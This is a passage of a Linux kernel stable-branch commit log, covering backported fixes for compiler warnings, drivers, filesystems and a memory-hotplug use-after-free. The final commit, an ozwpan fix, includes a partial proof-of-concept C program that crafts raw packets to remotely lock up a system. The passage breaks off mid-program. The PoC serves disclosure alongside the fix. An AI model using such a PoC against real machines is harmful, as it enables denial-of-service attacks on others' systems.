      ret = do_mount(kernel_dev, kernel_dir->name, kernel_type, flags,
            ^
    fs/namespace.c:2699:8: note: ‘kernel_dev’ was declared here
      char *kernel_dev;
            ^
    fs/namespace.c:2720:8: warning: ‘kernel_type’ may be used uninitialized in this function [-Wmaybe-uninitialized]
      ret = do_mount(kernel_dev, kernel_dir->name, kernel_type, flags,
            ^
    fs/namespace.c:2697:8: note: ‘kernel_type’ was declared here
      char *kernel_type;
            ^
    
    Fix the warnings by simplifying copy_mount_string() as suggested by Al Viro.
    
    Cc: Alexander Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Tim Gardner <tim.gardner@canonical.com>
    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 8a0590bf26a346a639bda802c710315c1502fab5
Author: Mark Brown <broonie@linaro.org>
Date:   Fri Aug 1 17:55:55 2014 +0100

    ASoC: imx-audmux: Use uintptr_t for port numbers
    
    commit e5f89768e9bc1f441d18e2299518a2907e5017c9 upstream.
    
    Since we pass the port number through file private data for debugfs we cast
    it to and from a pointer so use uintptr_t in order to ensure that the
    types are compatible, avoiding warnings on 64 bit platforms where pointers
    are 64 bit and unsigned integers 32 bit.
    
    Signed-off-by: Mark Brown <broonie@linaro.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 12c55b60a6b63fe05b2e1b9a9ba2f05aaf53e13f
Author: Mark Hambleton <mahamble@broadcom.com>
Date:   Tue Dec 3 19:19:12 2013 +0000

    arm64: cmpxchg: update macros to prevent warnings
    
    commit 60010e508111b2fd3d73de56f3b2c2bfc0f9eba1 upstream.
    
    Make sure the value we are going to return is referenced in order to
    avoid warnings from newer GCCs such as:
    
    arch/arm64/include/asm/cmpxchg.h:162:3: warning: value computed is not used [-Wunused-value]
      ((__typeof__(*(ptr)))__cmpxchg_mb((ptr),   \
       ^
    net/netfilter/nf_conntrack_core.c:674:2: note: in expansion of macro ‘cmpxchg’
      cmpxchg(&nf_conntrack_hash_rnd, 0, rand);
    
    [Modified to use the current underlying implementation as current
    mainline for both cmpxchg() and cmpxchg_local() does -- broonie]
    
    Signed-off-by: Mark Hambleton <mahamble@broadcom.com>
    Signed-off-by: Mark Brown <broonie@linaro.org>
    Signed-off-by: Catalin Marinas <catalin.marinas@arm.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 75ef6b494a114fe86ea0f1d17d1d6f6eaa60af55
Author: Will Deacon <will.deacon@arm.com>
Date:   Wed Apr 30 16:23:06 2014 +0100

    arm64: xchg: prevent warning if return value is unused
    
    commit e1dfda9ced9bea1413a736f0d578f8218a7788ec upstream.
    
    Some users of xchg() don't bother using the return value, which results
    in a compiler warning like the following (from kgdb):
    
    In file included from linux/arch/arm64/include/asm/atomic.h:27:0,
                     from include/linux/atomic.h:4,
                     from include/linux/spinlock.h:402,
                     from include/linux/seqlock.h:35,
                     from include/linux/time.h:5,
                     from include/uapi/linux/timex.h:56,
                     from include/linux/timex.h:56,
                     from include/linux/sched.h:19,
                     from include/linux/pid_namespace.h:4,
                     from kernel/debug/debug_core.c:30:
    kernel/debug/debug_core.c: In function ‘kgdb_cpu_enter’:
    linux/arch/arm64/include/asm/cmpxchg.h:75:3: warning: value computed is not used [-Wunused-value]
      ((__typeof__(*(ptr)))__xchg((unsigned long)(x),(ptr),sizeof(*(ptr))))
       ^
    linux/arch/arm64/include/asm/atomic.h:132:30: note: in expansion of macro ‘xchg’
     #define atomic_xchg(v, new) (xchg(&((v)->counter), new))
    
    kernel/debug/debug_core.c:504:4: note: in expansion of macro ‘atomic_xchg’
        atomic_xchg(&kgdb_active, cpu);
        ^
    
    This patch makes use of the same trick as we do for cmpxchg, by assigning
    the return value to a dummy variable in the xchg() macro itself.
    
    Signed-off-by: Will Deacon <will.deacon@arm.com>
    Signed-off-by: Catalin Marinas <catalin.marinas@arm.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit f0e943882cea7c762f8a205f8e4b65483ff1898b
Author: Tim Gardner <tim.gardner@canonical.com>
Date:   Mon Oct 13 15:54:20 2014 -0700

    scripts/sortextable: suppress warning: `relocs_size' may be used uninitialized
    
    commit 7cbc0ea79da2cbe70d8da9319895f07f872a3190 upstream.
    
    In file included from scripts/sortextable.c:194:0:
    scripts/sortextable.c: In function `main':
    scripts/sortextable.h:176:3: warning: `relocs_size' may be used uninitialized in this function [-Wmaybe-uninitialized]
       memset(relocs, 0, relocs_size);
       ^
    scripts/sortextable.h:106:6: note: `relocs_size' was declared here
      int relocs_size;
          ^
    In file included from scripts/sortextable.c:192:0:
    scripts/sortextable.h:176:3: warning: `relocs_size' may be used uninitialized in this function [-Wmaybe-uninitialized]
       memset(relocs, 0, relocs_size);
       ^
    scripts/sortextable.h:106:6: note: `relocs_size' was declared here
      int relocs_size;
          ^
    
    gcc 4.9.1
    
    Signed-off-by: Tim Gardner <tim.gardner@canonical.com>
    Reviewed-by: Jamie Iles <jamie.iles@oracle.com>
    
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit aa826bb1953a0a40b460e053efcf9c5f8cab554b
Author: Jan Kara <jack@suse.cz>
Date:   Wed Jan 7 13:49:08 2015 +0100

    udf: Check length of extended attributes and allocation descriptors
    
    commit 23b133bdc452aa441fcb9b82cbf6dd05cfd342d0 upstream.
    
    Check length of extended attributes and allocation descriptors when
    loading inodes from disk. Otherwise corrupted filesystems could confuse
    the code and make the kernel oops.
    
    Reported-by: Carl Henrik Lunde <chlunde@ping.uio.no>
    Cc: stable@vger.kernel.org
    Signed-off-by: Jan Kara <jack@suse.cz>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 50badb21ea8fa72eea3777afe2433caf9817c62f
Author: Jan Kara <jack@suse.cz>
Date:   Wed Jan 7 13:46:16 2015 +0100

    udf: Remove repeated loads blocksize
    
    commit 79144954278d4bb5989f8b903adcac7a20ff2a5a upstream.
    
    Store blocksize in a local variable in udf_fill_inode() since it is used
    a lot of times.
    
    Signed-off-by: Jan Kara <jack@suse.cz>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 17459111ac04d613d0ab464d68c10b9f8899e9ce
Author: Lenny Szubowicz <lszubowi@redhat.com>
Date:   Thu Nov 13 13:51:52 2014 -0500

    cpufreq: pcc: Enable autoload of pcc-cpufreq for ACPI processors
    
    commit 7e7e8fe69820c6fa31395dbbd8e348e3c69cd2a9 upstream.
    
    The pcc-cpufreq driver is not automatically loaded on systems where
    the platform's power management setting requires this driver.
    Instead, on those systems no CPU frequency driver is registered and
    active.
    
    Make the autoloading matching criteria for loading the pcc-cpufreq
    driver the same as done in acpi-cpufreq by commit c655affbd524d01
    ("ACPI / cpufreq: Add ACPI processor device IDs to acpi-cpufreq").
    
    x86 CPU frequency drivers are now typically autoloaded by specifying
    MODULE_DEVICE_TABLE entries and x86cpu model specific matching.
    But pcc-cpufreq was omitted when acpi-cpufreq and other drivers were
    changed to use this approach.
    
    Both acpi-cpufreq and pcc-cpufreq depend on a distinct and mutually
    exclusive set of ACPI methods which are not directly tied to specific
    processor model numbers. Both of these drivers have init routines
    which look for their required ACPI methods. As a result, only the
    appropriate driver registers as the cpu frequency driver and the other
    one ends up being unloaded.
    
    Tested on various systems where acpi-cpufreq, intel_pstate, and
    pcc-cpufreq are the expected cpu frequency drivers.
    
    Signed-off-by: Lenny Szubowicz <lszubowi@redhat.com>
    Signed-off-by: Joseph Szczypek <joseph.szczypek@hp.com>
    Reported-by: Trinh Dao <trinh.dao@hp.com>
    Signed-off-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit b4c2526134d5203e5ef1a17a49ce1edab20b9afd
Author: Yoshihiro Shimoda <yoshihiro.shimoda.uh@renesas.com>
Date:   Tue May 26 20:13:43 2015 +0900

    usb: renesas_usbhs: Don't disable the pipe if Control write status stage
    
    commit 93fb9127cb63a3246b32d48fa273010764687862 upstream.
    
    This patch fixes an issue that sometimes this controller is not able
    to complete the Control write status stage.
    
    This driver should enable DCPCTR.CCPL and PID_BUF to complete the status
    stage. However, if this driver detects the ctrl_stage interruption first
    before the control write data is received, this driver will clear the
    PID_BUF wrongly in the usbhsf_pio_try_pop(). To avoid this issue, this
    patch doesn't clear the PID_BUF in the usbhsf_pio_try_pop().
    (Since also the privious code doesn't disable the PID_BUF after a control
     transfer was finished, this patch doesn't have any side efforts.)
    
    Signed-off-by: Yoshihiro Shimoda <yoshihiro.shimoda.uh@renesas.com>
    Signed-off-by: Felipe Balbi <balbi@ti.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 0df0329aa2312ad19f56153541e345f5c1c9b146
Author: Kazuya Mizuguchi <kazuya.mizuguchi.ks@renesas.com>
Date:   Tue May 26 20:13:42 2015 +0900

    usb: renesas_usbhs: Fix fifo unclear in usbhsf_prepare_pop
    
    commit e73d42f15f90614538edeb5d4102f847105f86f2 upstream.
    
    This patch fixes an issue for control write. When usbhsf_prepare_pop()
    is called after this driver called a gadget setup function, this controller
    doesn't receive the control write data. So, this patch adds a code to clear
    the fifo for control write in usbhsf_prepare_pop().
    
    Signed-off-by: Kazuya Mizuguchi <kazuya.mizuguchi.ks@renesas.com>
    Signed-off-by: Yoshihiro Shimoda <yoshihiro.shimoda.uh@renesas.com>
    Signed-off-by: Felipe Balbi <balbi@ti.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit cd717d1427bc8ea23ff1565817bdde58ba10227a
Author: Adam Jackson <ajax@redhat.com>
Date:   Mon Jun 15 16:16:15 2015 -0400

    drm/mgag200: Reject non-character-cell-aligned mode widths
    
    commit 25161084b1c1b0c29948f6f77266a35f302196b7 upstream.
    
    Turns out 1366x768 does not in fact work on this hardware.
    
    Signed-off-by: Adam Jackson <ajax@redhat.com>
    Signed-off-by: Dave Airlie <airlied@redhat.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 6ad4382d10843a9013593d5db303a1f72e55138f
Author: Steven Rostedt <rostedt@goodmis.org>
Date:   Mon Jun 15 17:50:25 2015 -0400

    tracing: Have filter check for balanced ops
    
    commit 2cf30dc180cea808077f003c5116388183e54f9e upstream.
    
    When the following filter is used it causes a warning to trigger:
    
     # cd /sys/kernel/debug/tracing
     # echo "((dev==1)blocks==2)" > events/ext4/ext4_truncate_exit/filter
    -bash: echo: write error: Invalid argument
     # cat events/ext4/ext4_truncate_exit/filter
    ((dev==1)blocks==2)
    ^
    parse_error: No error
    
     ------------[ cut here ]------------
     WARNING: CPU: 2 PID: 1223 at kernel/trace/trace_events_filter.c:1640 replace_preds+0x3c5/0x990()
     Modules linked in: bnep lockd grace bluetooth  ...
     CPU: 3 PID: 1223 Comm: bash Tainted: G        W       4.1.0-rc3-test+ #450
     Hardware name: Hewlett-Packard HP Compaq Pro 6300 SFF/339A, BIOS K01 v02.05 05/07/2012
      0000000000000668 ffff8800c106bc98 ffffffff816ed4f9 ffff88011ead0cf0
      0000000000000000 ffff8800c106bcd8 ffffffff8107fb07 ffffffff8136b46c
      ffff8800c7d81d48 ffff8800d4c2bc00 ffff8800d4d4f920 00000000ffffffea
     Call Trace:
      [<ffffffff816ed4f9>] dump_stack+0x4c/0x6e
      [<ffffffff8107fb07>] warn_slowpath_common+0x97/0xe0
      [<ffffffff8136b46c>] ? _kstrtoull+0x2c/0x80
      [<ffffffff8107fb6a>] warn_slowpath_null+0x1a/0x20
      [<ffffffff81159065>] replace_preds+0x3c5/0x990
      [<ffffffff811596b2>] create_filter+0x82/0xb0
      [<ffffffff81159944>] apply_event_filter+0xd4/0x180
      [<ffffffff81152bbf>] event_filter_write+0x8f/0x120
      [<ffffffff811db2a8>] __vfs_write+0x28/0xe0
      [<ffffffff811dda43>] ? __sb_start_write+0x53/0xf0
      [<ffffffff812e51e0>] ? security_file_permission+0x30/0xc0
      [<ffffffff811dc408>] vfs_write+0xb8/0x1b0
      [<ffffffff811dc72f>] SyS_write+0x4f/0xb0
      [<ffffffff816f5217>] system_call_fastpath+0x12/0x6a
     ---[ end trace e11028bd95818dcd ]---
    
    Worse yet, reading the error message (the filter again) it says that
    there was no error, when there clearly was. The issue is that the
    code that checks the input does not check for balanced ops. That is,
    having an op between a closed parenthesis and the next token.
    
    This would only cause a warning, and fail out before doing any real
    harm, but it should still not caues a warning, and the error reported
    should work:
    
     # cd /sys/kernel/debug/tracing
     # echo "((dev==1)blocks==2)" > events/ext4/ext4_truncate_exit/filter
    -bash: echo: write error: Invalid argument
     # cat events/ext4/ext4_truncate_exit/filter
    ((dev==1)blocks==2)
    ^
    parse_error: Meaningless filter expression
    
    And give no kernel warning.
    
    Link: http://lkml.kernel.org/r/20150615175025.7e809215@gandalf.local.home
    
    Cc: Peter Zijlstra <a.p.zijlstra@chello.nl>
    Cc: Ingo Molnar <mingo@redhat.com>
    Cc: Arnaldo Carvalho de Melo <acme@kernel.org>
    Reported-by: Vince Weaver <vincent.weaver@maine.edu>
    Tested-by: Vince Weaver <vincent.weaver@maine.edu>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>
    [js: 3.12 has no OP_NOT yet, I dropped that if]

commit babdcb2450ed843ec53c913aec21cc07f2d3a96f
Author: Steve Cornelius <steve.cornelius@freescale.com>
Date:   Mon Jun 15 16:52:59 2015 -0700

    crypto: caam - fix RNG buffer cache alignment
    
    commit 412c98c1bef65fe7589f1300e93735d96130307c upstream.
    
    The hwrng output buffers (2) are cast inside of a a struct (caam_rng_ctx)
    allocated in one DMA-tagged region. While the kernel's heap allocator
    should place the overall struct on a cacheline aligned boundary, the 2
    buffers contained within may not necessarily align. Consenquently, the ends
    of unaligned buffers may not fully flush, and if so, stale data will be left
    behind, resulting in small repeating patterns.
    
    This fix aligns the buffers inside the struct.
    
    Note that not all of the data inside caam_rng_ctx necessarily needs to be
    DMA-tagged, only the buffers themselves require this. However, a fix would
    incur the expense of error-handling bloat in the case of allocation failure.
    
    Signed-off-by: Steve Cornelius <steve.cornelius@freescale.com>
    Signed-off-by: Victoria Milhoan <vicki.milhoan@freescale.com>
    Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 4d1b0c33bf80b56408fe9a3f444ec17904d64934
Author: Jeff Mahoney <jeffm@suse.com>
Date:   Fri Mar 20 14:02:09 2015 -0400

    btrfs: cleanup orphans while looking up default subvolume
    
    commit 727b9784b6085c99c2f836bf4fcc2848dc9cf904 upstream.
    
    Orphans in the fs tree are cleaned up via open_ctree and subvolume
    orphans are cleaned via btrfs_lookup_dentry -- except when a default
    subvolume is in use.  The name for the default subvolume uses a manual
    lookup that doesn't trigger orphan cleanup and needs to trigger it
    manually as well. This doesn't apply to the remount case since the
    subvolumes are cleaned up by walking the root radix tree.
    
    Signed-off-by: Jeff Mahoney <jeffm@suse.com>
    Reviewed-by: David Sterba <dsterba@suse.cz>
    Signed-off-by: Chris Mason <clm@fb.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 9cb9cfc9f2a6f6c3177744b50f5514190f0cca96
Author: Chengyu Song <csong84@gatech.edu>
Date:   Tue Mar 24 18:12:56 2015 -0400

    btrfs: incorrect handling for fiemap_fill_next_extent return
    
    commit 26e726afe01c1c82072cf23a5ed89ce25f39d9f2 upstream.
    
    fiemap_fill_next_extent returns 0 on success, -errno on error, 1 if this was
    the last extent that will fit in user array. If 1 is returned, the return
    value may eventually returned to user space, which should not happen, according
    to manpage of ioctl.
    
    Signed-off-by: Chengyu Song <csong84@gatech.edu>
    Reviewed-by: David Sterba <dsterba@suse.cz>
    Reviewed-by: Liu Bo <bo.li.liu@oracle.com>
    Signed-off-by: Chris Mason <clm@fb.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 27ea4a8d98cb59b5ee41e36e1165117a63d70555
Author: Johannes Berg <johannes.berg@intel.com>
Date:   Tue Jun 9 21:35:44 2015 +0200

    cfg80211: wext: clear sinfo struct before calling driver
    
    commit 9c5a18a31b321f120efda412281bb9f610f84aa0 upstream.
    
    Until recently, mac80211 overwrote all the statistics it could
    provide when getting called, but it now relies on the struct
    having been zeroed by the caller. This was always the case in
    nl80211, but wext used a static struct which could even cause
    values from one device leak to another.
    
    Using a static struct is OK (as even documented in a comment)
    since the whole usage of this function and its return value is
    always locked under RTNL. Not clearing the struct for calling
    the driver has always been wrong though, since drivers were
    free to only fill values they could report, so calling this
    for one device and then for another would always have leaked
    values from one to the other.
    
    Fix this by initializing the structure in question before the
    driver method call.
    
    This fixes https://bugzilla.kernel.org/show_bug.cgi?id=99691
    
    Reported-by: Gerrit Renker <gerrit@erg.abdn.ac.uk>
    Reported-by: Alexander Kaltsas <alexkaltsas@gmail.com>
    Signed-off-by: Johannes Berg <johannes.berg@intel.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 630eee51c1d19fdd02f85a2776e3b7be7747492f
Author: Gu Zheng <guz.fnst@cn.fujitsu.com>
Date:   Wed Jun 10 11:14:43 2015 -0700

    mm/memory_hotplug.c: set zone->wait_table to null after freeing it
    
    commit 85bd839983778fcd0c1c043327b14a046e979b39 upstream.
    
    Izumi found the following oops when hot re-adding a node:
    
        BUG: unable to handle kernel paging request at ffffc90008963690
        IP: __wake_up_bit+0x20/0x70
        Oops: 0000 [#1] SMP
        CPU: 68 PID: 1237 Comm: rs:main Q:Reg Not tainted 4.1.0-rc5 #80
        Hardware name: FUJITSU PRIMEQUEST2800E/SB, BIOS PRIMEQUEST 2000 Series BIOS Version 1.87 04/28/2015
        task: ffff880838df8000 ti: ffff880017b94000 task.ti: ffff880017b94000
        RIP: 0010:[<ffffffff810dff80>]  [<ffffffff810dff80>] __wake_up_bit+0x20/0x70
        RSP: 0018:ffff880017b97be8  EFLAGS: 00010246
        RAX: ffffc90008963690 RBX: 00000000003c0000 RCX: 000000000000a4c9
        RDX: 0000000000000000 RSI: ffffea101bffd500 RDI: ffffc90008963648
        RBP: ffff880017b97c08 R08: 0000000002000020 R09: 0000000000000000
        R10: 0000000000000000 R11: 0000000000000000 R12: ffff8a0797c73800
        R13: ffffea101bffd500 R14: 0000000000000001 R15: 00000000003c0000
        FS:  00007fcc7ffff700(0000) GS:ffff880874800000(0000) knlGS:0000000000000000
        CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
        CR2: ffffc90008963690 CR3: 0000000836761000 CR4: 00000000001407e0
        Call Trace:
          unlock_page+0x6d/0x70
          generic_write_end+0x53/0xb0
          xfs_vm_write_end+0x29/0x80 [xfs]
          generic_perform_write+0x10a/0x1e0
          xfs_file_buffered_aio_write+0x14d/0x3e0 [xfs]
          xfs_file_write_iter+0x79/0x120 [xfs]
          __vfs_write+0xd4/0x110
          vfs_write+0xac/0x1c0
          SyS_write+0x58/0xd0
          system_call_fastpath+0x12/0x76
        Code: 5d c3 66 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 e5 48 83 ec 20 65 48 8b 04 25 28 00 00 00 48 89 45 f8 31 c0 48 8d 47 48 <48> 39 47 48 48 c7 45 e8 00 00 00 00 48 c7 45 f0 00 00 00 00 48
        RIP  [<ffffffff810dff80>] __wake_up_bit+0x20/0x70
         RSP <ffff880017b97be8>
        CR2: ffffc90008963690
    
    Reproduce method (re-add a node)::
      Hot-add nodeA --> remove nodeA --> hot-add nodeA (panic)
    
    This seems an use-after-free problem, and the root cause is
    zone->wait_table was not set to *NULL* after free it in
    try_offline_node.
    
    When hot re-add a node, we will reuse the pgdat of it, so does the zone
    struct, and when add pages to the target zone, it will init the zone
    first (including the wait_table) if the zone is not initialized.  The
    judgement of zone initialized is based on zone->wait_table:
    
    	static inline bool zone_is_initialized(struct zone *zone)
    	{
    		return !!zone->wait_table;
    	}
    
    so if we do not set the zone->wait_table to *NULL* after free it, the
    memory hotplug routine will skip the init of new zone when hot re-add
    the node, and the wait_table still points to the freed memory, then we
    will access the invalid address when trying to wake up the waiting
    people after the i/o operation with the page is done, such as mentioned
    above.
    
    Signed-off-by: Gu Zheng <guz.fnst@cn.fujitsu.com>
    Reported-by: Taku Izumi <izumi.taku@jp.fujitsu.com>
    Reviewed by: Yasuaki Ishimatsu <isimatu.yasuaki@jp.fujitsu.com>
    Cc: KAMEZAWA Hiroyuki <kamezawa.hiroyu@jp.fujitsu.com>
    Cc: Tang Chen <tangchen@cn.fujitsu.com>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 0071013dc98c8e74d3923ed04828f5f9d173b02b
Author: Philipp Zabel <p.zabel@pengutronix.de>
Date:   Tue May 19 10:54:09 2015 +0200

    serial: imx: Fix DMA handling for IDLE condition aborts
    
    commit 392bceedb107a3dc1d4287e63d7670d08f702feb upstream.
    
    The driver configures the IDLE condition to interrupt the SDMA engine.
    Since the SDMA UART ROM script doesn't clear the IDLE bit itself, this
    caused repeated 1-byte DMA transfers, regardless of available data in the
    RX FIFO. Also, when returning due to the IDLE condition, the UART ROM
    script already increased its counter, causing residue to be off by one.
    
    This patch clears the IDLE condition to avoid repeated 1-byte DMA transfers
    and decreases count by when the DMA transfer was aborted due to the IDLE
    condition, fixing serial transfers using DMA on i.MX6Q.
    
    Reported-by: Peter Seiderer <ps.report@gmx.net>
    Signed-off-by: Philipp Zabel <p.zabel@pengutronix.de>
    Tested-by: Fabio Estevam <fabio.estevam@freescale.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 8ff2f15484e7e280d14098aabcb37f02c512c1bc
Author: Jérôme Glisse <jglisse@redhat.com>
Date:   Fri Jun 5 13:33:57 2015 -0400

    drm/radeon: fix freeze for laptop with Turks/Thames GPU.
    
    commit 6dfd197283bffc23a2b046a7f065588de7e1fc1e upstream.
    
    Laptop with Turks/Thames GPU will freeze if dpm is enabled. It seems
    the SMC engine is relying on some state inside the CP engine. CP needs
    to chew at least one packet for it to get in good state for dynamic
    power management.
    
    This patch simply disabled and re-enable DPM after the ring test which
    is enough to avoid the freeze.
    
    Signed-off-by: Jérôme Glisse <jglisse@redhat.com>
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit a161c7118ad2f43104f34866c932693dff966d2f
Author: Jani Nikula <jani.nikula@intel.com>
Date:   Tue Jun 2 19:21:15 2015 +0300

    drm/i915: Fix DDC probe for passive adapters
    
    commit 3f5f1554ee715639e78d9be87623ee82772537e0 upstream.
    
    Passive DP->DVI/HDMI dongles on DP++ ports show up to the system as HDMI
    devices, as they do not have a sink device in them to respond to any AUX
    traffic. When probing these dongles over the DDC, sometimes they will
    NAK the first attempt even though the transaction is valid and they
    support the DDC protocol. The retry loop inside of
    drm_do_probe_ddc_edid() would normally catch this case and try the
    transaction again, resulting in success.
    
    That, however, was thwarted by the fix for [1]:
    
    commit 9292f37e1f5c79400254dca46f83313488093825
    Author: Eugeni Dodonov <eugeni.dodonov@intel.com>
    Date:   Thu Jan 5 09:34:28 2012 -0200
    
        drm: give up on edid retries when i2c bus is not responding
    
    This added code to exit immediately if the return code from the
    i2c_transfer function was -ENXIO in order to reduce the amount of time
    spent in waiting for unresponsive or disconnected devices. That was
    possible because the underlying i2c bit banging algorithm had retries of
    its own (which, of course, were part of the reason for the bug the
    commit fixes).
    
    Since its introduction in
    
    commit f899fc64cda8569d0529452aafc0da31c042df2e
    Author: Chris Wilson <chris@chris-wilson.co.uk>
    Date:   Tue Jul 20 15:44:45 2010 -0700
    
        drm/i915: use GMBUS to manage i2c links
    
    we've been flipping back and forth enabling the GMBUS transfers, but
    we've settled since then. The GMBUS implementation does not do any
    retries, however, bailing out of the drm_do_probe_ddc_edid() retry loop
    on first encounter of -ENXIO. This, combined with Eugeni's commit, broke
    the retry on -ENXIO.
    
    Retry GMBUS once on -ENXIO on first message to mitigate the issues with
    passive adapters.
    
    This patch is based on the work, and commit message, by Todd Previte
    <tprevite@gmail.com>.
    
    [1] https://bugs.freedesktop.org/show_bug.cgi?id=41059
    
    v2: Don't retry if using bit banging.
    
    v3: Move retry within gmbux_xfer, retry only on first message.
    
    v4: Initialize GMBUS0 on retry (Ville).
    
    v5: Take index reads into account (Ville).
    
    Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=85924
    Cc: Todd Previte <tprevite@gmail.com>
    Tested-by: Oliver Grafe <oliver.grafe@ge.com> (v2)
    Tested-by: Jim Bride <jim.bride@linux.intel.com>
    Reviewed-by: Ville Syrjälä <ville.syrjala@linux.intel.com>
    Signed-off-by: Jani Nikula <jani.nikula@intel.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 1dec7c0ba1c46a8a6008daf90afc05b5805582f1
Author: Jim Bride <jim.bride@linux.intel.com>
Date:   Wed May 27 10:21:48 2015 -0700

    drm/i915/hsw: Fix workaround for server AUX channel clock divisor
    
    commit e058c945e03a629c99606452a6931f632dd28903 upstream.
    
    According to the HSW b-spec we need to try clock divisors of 63
    and 72, each 3 or more times, when attempting DP AUX channel
    communication on a server chipset.  This actually wasn't happening
    due to a short-circuit that only checked the DP_AUX_CH_CTL_DONE bit
    in status rather than checking that the operation was done and
    that DP_AUX_CH_CTL_TIME_OUT_ERROR was not set.
    
    [v2] Implemented alternate solution suggested by Jani Nikula.
    
    Signed-off-by: Jim Bride <jim.bride@linux.intel.com>
    Signed-off-by: Jani Nikula <jani.nikula@intel.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit e7118bb3b03bec6cd9fb65621a41dfd9cd5a7d2b
Author: Aaro Koskinen <aaro.koskinen@nokia.com>
Date:   Mon Jun 8 11:32:43 2015 +0300

    pata_octeon_cf: fix broken build
    
    commit 4710f2facb5c68d629015747bd09b37203e0d137 upstream.
    
    MODULE_DEVICE_TABLE is referring to wrong driver's table and breaks the
    build. Fix that.
    
    Signed-off-by: Aaro Koskinen <aaro.koskinen@nokia.com>
    Signed-off-by: Tejun Heo <tj@kernel.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 2872381f68126598ace6cbe6371f6c0025a42824
Author: Jason A. Donenfeld <Jason@zx2c4.com>
Date:   Fri May 29 13:07:01 2015 +0200

    ozwpan: unchecked signed subtraction leads to DoS
    
    commit 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 upstream.
    
    The subtraction here was using a signed integer and did not have any
    bounds checking at all. This commit adds proper bounds checking, made
    easy by use of an unsigned integer. This way, a single packet won't be
    able to remotely trigger a massive loop, locking up the system for a
    considerable amount of time. A PoC follows below, which requires
    ozprotocol.h from this module.
    
    =-=-=-=-=-=
    
     #include <arpa/inet.h>
     #include <linux/if_packet.h>
     #include <net/if.h>
     #include <netinet/ether.h>
     #include <stdio.h>
     #include <string.h>
     #include <stdlib.h>
     #include <endian.h>
     #include <sys/ioctl.h>
     #include <sys/socket.h>
    
     #define u8 uint8_t
     #define u16 uint16_t
     #define u32 uint32_t
     #define __packed __attribute__((__packed__))
     #include "ozprotocol.h"
    
    static int hex2num(char c)
    {
    	if (c >= '0' && c <= '9')
    		return c - '0';
    	if (c >= 'a' && c <= 'f')
    		return c - 'a' + 10;
    	if (c >= 'A' && c <= 'F')
    		return c - 'A' + 10;
    	return -1;
    }
    static int hwaddr_aton(const char *txt, uint8_t *addr)
    {
    	int i;
    	for (i = 0; i < 6; i++) {
    		int a, b;
    		a = hex2num(*txt++);
    		if (a < 0)
    			return -1;
    		b = hex2num(*txt++);
    		if (b < 0)
    			return -1;
    		*addr++ = (a << 4) | b;
    		if (i < 5 && *txt++ != ':')
    			return -1;
    	}
    	return 0;
    }
    
    int main(int argc, char *argv[])
    {
    	if (argc < 3) {
    		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
    		return 1;
    	}
    
    	uint8_t dest_mac[6];
    	if (hwaddr_aton(argv[2], dest_mac)) {
    		fprintf(stderr, "Invalid mac address.\n");
    		return 1;
    	}
    
    	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
    	if (sockfd < 0) {
    		perror("socket");
    		return 1;
    	}
    
    	struct ifreq if_idx;
    	int interface_index;
    	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
    	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
    		perror("SIOCGIFINDEX");
    		return 1;
    	}
    	interface_index = if_idx.ifr_ifindex;
    	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
    		perror("SIOCGIFHWADDR");
    		return 1;
    	}
    	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
    
    	struct {
    		struct ether_header ether_header;
    		struct oz_hdr oz_hdr;
    		struct oz_elt oz_elt;
    		struct oz_elt_connect_req oz_elt_connect_req;
    		struct oz_elt oz_elt2;
    		struct oz_multiple_fixed oz_multiple_fixed;
    	} __packed packet = {
    		.ether_header = {
    			.ether_type = htons(OZ_ETHERTYPE),
    			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
    			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
    		},
    		.oz_hdr = {
    			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
    			.last_pkt_num = 0,
